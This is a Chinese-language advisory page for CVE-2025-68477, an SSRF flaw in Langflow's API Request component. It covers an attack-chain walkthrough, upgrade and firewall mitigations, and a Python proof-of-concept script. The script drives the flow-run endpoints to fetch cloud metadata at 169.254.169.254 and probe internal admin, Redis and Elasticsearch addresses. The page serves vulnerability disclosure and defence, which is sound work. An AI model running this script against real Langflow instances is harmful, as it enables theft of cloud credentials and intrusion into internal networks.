IPBUF安全漏洞报告
English
CVE-2025-68477 CVSS 7.7 高危

CVE-2025-68477: Langflow API Request组件SSRF漏洞

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2025-68477
漏洞类型
服务端请求伪造(SSRF)
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Langflow

相关标签

SSRF服务端请求伪造Langflow信息泄露API漏洞CVE-2025-68477高危漏洞AI工作流平台

漏洞概述

Langflow是一款用于构建和部署AI驱动代理和工作流的工具。在1.7.0版本之前,Langflow提供的API Request组件可以发送任意HTTP请求。该组件接收用户提供的URL,仅进行规范化处理和基本格式检查,然后使用服务器端的httpx客户端发送请求。然而,该组件不阻止私有IP地址范围(如127.0.0.1、10/172/192网段)和云元数据端点(169.254.169.254),并直接返回响应体作为结果。由于流执行端点(/api/v1/run、/api/v1/run/advanced)仅需API密钥即可调用,攻击者可以控制流中的API Request URL,从而实现非盲型SSRF攻击,访问服务器网络上下文中的内部资源,包括内部管理端点、元数据服务以及内部数据库和服务,导致敏感信息泄露并为进一步攻击提供立足点。

技术细节

漏洞源于Langflow的API Request组件在处理用户提供的URL时缺乏充分的安全验证。具体问题包括:(1) 组件仅进行URL规范化和基本格式检查,未实施任何IP范围过滤;(2) 未阻止对私有网络地址(10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、127.0.0.1)的访问;(3) 未阻止对云服务提供商元数据端点(169.254.169.254等)的访问;(4) 直接将响应体返回给用户,实现非盲SSRF。攻击者可通过API密钥调用流执行端点,在流中构造包含目标URL的API Request组件,触发服务器向内部资源发起请求,从而获取敏感信息。修复版本1.7.0添加了对私有IP范围和元数据端点的阻止机制。

攻击链分析

STEP 1
步骤1
攻击者获取Langflow实例的API密钥(通过社工、弱密码或泄露的密钥)
STEP 2
步骤2
攻击者创建一个包含恶意API Request组件的流,设置URL指向目标内部资源(如169.254.169.254、127.0.0.1等)
STEP 3
步骤3
攻击者使用API密钥调用/api/v1/run或/api/v1/run/advanced端点执行该流
STEP 4
步骤4
Langflow服务器使用httpx客户端向攻击者指定的内部URL发起HTTP请求
STEP 5
步骤5
服务器返回内部服务的响应内容(如元数据、配置信息、内部API响应等)
STEP 6
步骤6
攻击者获取敏感信息,可能利用这些信息进行进一步的攻击(如横向移动、权限提升)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-68477 PoC - Langflow SSRF via API Request Component # Target: Langflow < 1.7.0 API_KEY = "your_api_key_here" TARGET_URL = "http://target-langflow-instance.com" # Example 1: Access local metadata endpoint def exploit_metadata_ssrf(): """Exploit SSRF to access cloud metadata service""" flow_payload = { "flow_id": "controlled_flow_id", "components": { "api_request": { "url": "http://169.254.169.254/latest/meta-data/", "method": "GET" } } } headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } response = requests.post( f"{TARGET_URL}/api/v1/run/advanced", json=flow_payload, headers=headers ) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # Example 2: Access internal service def exploit_internal_ssrf(): """Exploit SSRF to access internal services""" internal_targets = [ "http://127.0.0.1:8080/admin", "http://10.0.0.1:6379/", "http://192.168.1.100:9200/_cluster/health" ] for target in internal_targets: flow_payload = { "flow_id": "ssrf_flow", "components": { "api_request": { "url": target, "method": "GET" } } } headers = {"Authorization": f"Bearer {API_KEY}"} response = requests.post( f"{TARGET_URL}/api/v1/run", json=flow_payload, headers=headers ) print(f"Target: {target}") print(f"Response: {response.text[:500]}") if __name__ == "__main__": print("CVE-2025-68477 Langflow SSRF PoC") exploit_metadata_ssrf() exploit_internal_ssrf()

影响范围

Langflow < 1.7.0

防御指南

临时缓解措施
立即升级Langflow至1.7.0或更高版本。在无法立即升级的情况下,可通过配置网络防火墙规则阻止Langflow服务器访问私有IP范围和云元数据端点,同时限制API密钥的分发范围并启用访问日志监控。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表